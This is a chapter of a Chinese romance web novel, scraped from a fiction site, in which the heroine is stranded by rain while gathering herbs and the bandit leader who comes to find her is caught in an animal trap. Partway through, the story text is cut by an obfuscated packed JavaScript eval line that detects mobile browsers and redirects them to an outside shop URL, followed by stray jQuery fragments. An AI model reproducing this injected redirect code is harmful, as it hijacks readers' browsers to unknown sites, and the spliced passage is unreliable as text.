文趣网 > 其他小说 > 追夫五百年(快穿) > 22.寨中王(21)
    虞兮为偷闲躲静,也为了不碰见滕萧那个冤家,独自背着竹篓,赴往山林。

    她一手持着小药锄,一手拨开挂着露水的丛草,屈膝蹲下,细细辨认面前的药株。感觉无甚问题,便小心地割陷下去。

    天色渐暗,山风呼啸。

    蓦的,一声闷雷隆隆作起。

    她抬袖,拭了拭额畔的汗渍,仰头一看,一滴冰凉的水点坠到眼眶下缘。

    怎地又下雨了?

    虞兮黛眉微皱,暗叫不妙。

    这会子若是回去了,定被浇得狗血淋头。

    虞兮静静忖度。

    还记得,不远处有一陡坡,坡下有一岩洞。

    之前路过时,她曾偷偷探过,当中并无野兽安家。那帮打猎的弟兄惊动了这群走兽,估计很难有野物蛰伏在附近,里面或可藏身。

    思及至此,她即刻启行,前往那间匿地。

    前世上山采药,也偶然会遇到几场急雨,须要时常考察地形。如今,已养成习惯了。

    虞兮方抵达岩洞,倾盆骤雨漫天泼落,狠狠砸向地面。每一滴雨叩下,便溅起细碎的水花,无数水汽混在一齐,腾起一层薄薄的雾。

    若是行人在此步途,定会眩住双目。

    她心中万分庆幸。

    好在没有冒雨回寨,不然,必当失了方向。假如走得深了,还没准回不回得来呢。

    虞兮席地而坐,一望外头的雨势,长长地叹了一口气。

    等停了,再回罢。

    原是如此想的。孰料,这一下,就下到了傍晚。

    -

    朗博元披着一身蓑衣,本要回屋,却听寨里的儿郎告说,小桃红辰时来寻过自己,她不见他人影,索性便去了别处。

    恰巧,朗二叔现在距离滕萧的园子并不算远,也好去他隔壁瞧一瞧,问问女公子是何事。

    他敲了敲门。

    厢房内,一片死寂,始终无人来应。

    “奇怪……”

    朗博元暗暗叨咕:“这么晚了能去哪儿?”

    他迈出院落,随意唤住一位小弟,问了几句话。

    那小弟也一概摇头,称不知道。

    哨塔上的孙小六瞥见两人在底下讲着什么,因开口相询:“二叔在找什么呢,咱也帮着瞅瞅?”

    “你来得刚好是时候,我问你,你可见过女公子?”朗博元扬声。

    孙小六略作思量,才踌躇般地出言:“好像…是外出了?从那条道走的。”他指了一指,又道:“这几天,她常上山去。”

    朗博元骤生出一股不祥之感,急忙诘问:“可回了?”

    孙小六犹豫了片时,微微摆首,“还没。”

    “糟了。”定是教这场大雨给留在山里了。

    朗二叔一拍大腿。

    平常,他根本不许寨子的人阴天入林,若是起雾迷了山,后果不堪设想。再者说,雨后那道路泥泞湿滑,若是跌出个好歹来,可怎办是好?

    朗博元近日嘴馋,爱吃些酒水,也就没怎么管她。他一念及此,满是懊恼。

    眼下,雨虽小了,可日头已然西沉,林间野兽横行,谁也保不准能发生什么。

    朗二叔攒起眉头,命小弟立刻去寻大当家。

    斯时,滕萧于晒场的石亭中,孑然默坐。

    他心中莫名纷乱,兀自怔神,一闻有人前来,便回过神来,低哑出声:“何事这么急?”

    小弟凑近几分,道出原委。

    滕萧一听事关小桃红,当即站起,动身去往朗博元处。

    “她怎了?”他沉着脸色问。

    朗博元语气焦灼,如实回答:“女公子进山去了,到现在还未归,恐怕……”

    这女人,竟会惹麻烦。

    滕萧隐生怒意。

    他强忍道:“我去寻。”

    朗博元闻言,登时摘下头顶的竹篾斗笠,递予他。

    “大当家多加小心。”

    滕萧“嗯”了一声,取过斗笠戴了上去,他伸出粗糙的手,将帽檐往下压了压。接着,循山道走了。

    浓夜笼罩绿林,雨珠噼啪捶打在枝叶、山石上,雾气顺着山坳漫上来,将峦峰尽数淹没。不论远近的树木,肉眼望去,皆成了一团模糊的影。

    滕萧英挺的身姿在林间徐徐穿梭。

    他玄色的劲装已是濡湿,凉气也遍及全身。

    辛亏,滕萧体质不错,尚可扛得住。

    他一边唤着小桃红的名字,一边迈步。

    滕萧四下环顾,周遭渺无人迹。他蹲下,在地面上仔细一瞧:

    雨天多有淤泥,究是不出料想,上头散落着数个脚印,零零散散的,汇成一道。

    那泥印小小一枚,一看便知,是女人的绣鞋踏上去的。

    -

    昏暗的光线下,虞兮倚坐在岩壁旁,双手牢牢环住肩膀,瑟瑟发抖。

    她自诩方向感不错,只要是走过一遍的路,必然能认下。

    不过当前,她并不敢贸然离开这里。

    谁晓得外面有没有豺狼虎豹?

    但留下,也很痛苦。

    寒风袭来,虞兮蜷缩在角落,不由得打了个喷嚏。

    好冷……

    早知道,捡些枯枝来烧了。

    “小桃红——”

    虞兮一惊:

    有人在叫她?

    她探头望了几圈,什么也没看到。

    “我一定是冻出幻觉来了……”虞兮喃喃。

    她把脸埋进臂弯,抱得紧了几分。

    不对。

    如果是幻听,应该唤她的本名呀?

    虞兮扶着岩壁,渐渐起身,走了出去。

    远远的,她遥见那一抹熟悉的衣色,和巍然的背影。

    “滕…滕萧?”

    虞兮简直不可置信。

    他来找她了?!

    虞兮微讶,心里的滋味说不上是惊,还是高兴。

    她睁着一双翦水秋瞳,缓缓地接近。

    男人察觉有脚步声悄然而现,他回头,望到一张惘然的面容。

    虞兮碎发凌乱,整个人单薄得恍如那风中的弱柳,在细雨里摇摇欲坠。

    她没有委屈,更没有哭,仅仅只是瞧着对方,两只眼睛里,湿漉漉的亮。

    他人还怪好嘞。

    虞兮不觉暗自窃喜。

    “滕萧…我冷……”

    她呜咽着,急促的呼吸轻轻发颤,模样像是跌倒受伤的孩童见着了父母,呖呖糯音里,含着近乎本能的依恋。

    男人听了,心头一紧。

    幡然回神,他开口道:“冷?冷就受着。”

    虞兮:“……”

    诶?这怎么和预想的不一样,不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784169|207840||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    应该是他立马过来关心她、带她回家么?

    滕萧大步流星地走了过来,一把拽过她,语气沉厉:“长这么大,脑子是摆设么?不知道阴天不能进林子,非得让老子满山来找你。”

    这是他对她说过最长的话了吧?

    虞兮垂首,喏喏地道:“对不起嘛,我…我只是想采点儿药草……”

    “再说,等天亮了,我自己会回去的。”她又心虚又理亏,因不敢反驳,唯有小声嘟囔。

    滕萧放开了她,冷笑:“说得轻巧,出了人命算谁头上?”

    虞兮紧紧揪着衣摆,没有讲话。

    她向后退了半寸,忽地,踩中了什么,触感似乎是一条软绵绵的物件。

    虞兮回身一看,一只三角小头、覆有暗褐色斑驳花纹的蛇,它分叉的舌信飞快地吞吐,嘶嘶哈着气。吓得她猛然一惊。

    “蛇、有蛇——”

    她猝不及防,径直一扑,缩在了男人的怀中。

    滕萧颤了一下,只觉有一团温柔贴了上来,他神情一怔,不禁回想起那日出格的梦,惶悸之中,他连连退了两下。

    “咔哒”一声巨响。

    伴随着钝利金属咬合的动静,两人跌了下去。

    斗笠掀得一斜,自他头顶滑落,在地上滚了好几圈,骇动了那条小蛇,它倏然蹿入草里,消失得无影无踪。

    虞兮倒在男人坚硬的胸膛,耳边,听到他鼻音发出一声闷哼。仰面,她瞧见滕萧那张俊俏的容颜突然变得微狰,痛苦地蹙起了眉。

    “我是不是撞疼你了。”她紧忙起开。

    滕萧并未好转,他僵住不动,咬着牙关一语不发,细看之下,额头还冒起了薄汗。

    “你…你怎么了?到底磕着哪儿了?”虞兮望着他苍白的脸色,关切地问。

    滕萧顿了半晌,才道:“腿。”

    “腿?”

    虞兮低头一瞧,霍地,捂唇发出一声惊呼。

    只见,一具捕兽夹咬穿了裤管,铁齿狠狠地嵌进他小腿的皮肉内。

    滕萧素来喜爱深色的服饰。此时,他的袴角湿得濡亮,她怯怯一探,染红了半个掌心。

    果真是血。

    虞兮讲不出话,眼眶一热,急出了泪花。

    她浑身不住战栗,伸出指尖,试着去掰开他腿上的钳制。

    方一碰上,猛地被他擎住了手腕。

    滕萧喉结艰难地滚动了一下,像是用尽力气,才压下眸底的猩红。

    “……别动,这东西会伤到你的。”

    他嗓音黯哑得不成样子,虞兮听了,淌下一行清泪,“对不起,都怪我。”瞬息之间,她心念急转,“别怕,我会想办法的……”

    一个手无缚鸡之力的女人家能有什么办法?

    滕萧暗忖,额角处泛起了几条青筋,他忍下痛楚,缓缓开口:“刀。”

    “什么刀?”

    虞兮举目四顾,看见他身后背着的一把长刀,顿时了然。

    她双手攥住刀柄,万般吃力地拎住了。

    滕萧单掌扶树,站立起来,他伸手接过,心下一横,刀尖朝着腿上嵌住的兽夹,遽地一撬。

    虞兮见到面前的情形,呼吸倏然一滞,不由得担忧起来。

    滕萧齿间紧咬,颌骨蹦成了一道弧线。

    “砰”地一声震响,簧片迸出,铁齿霍然张开。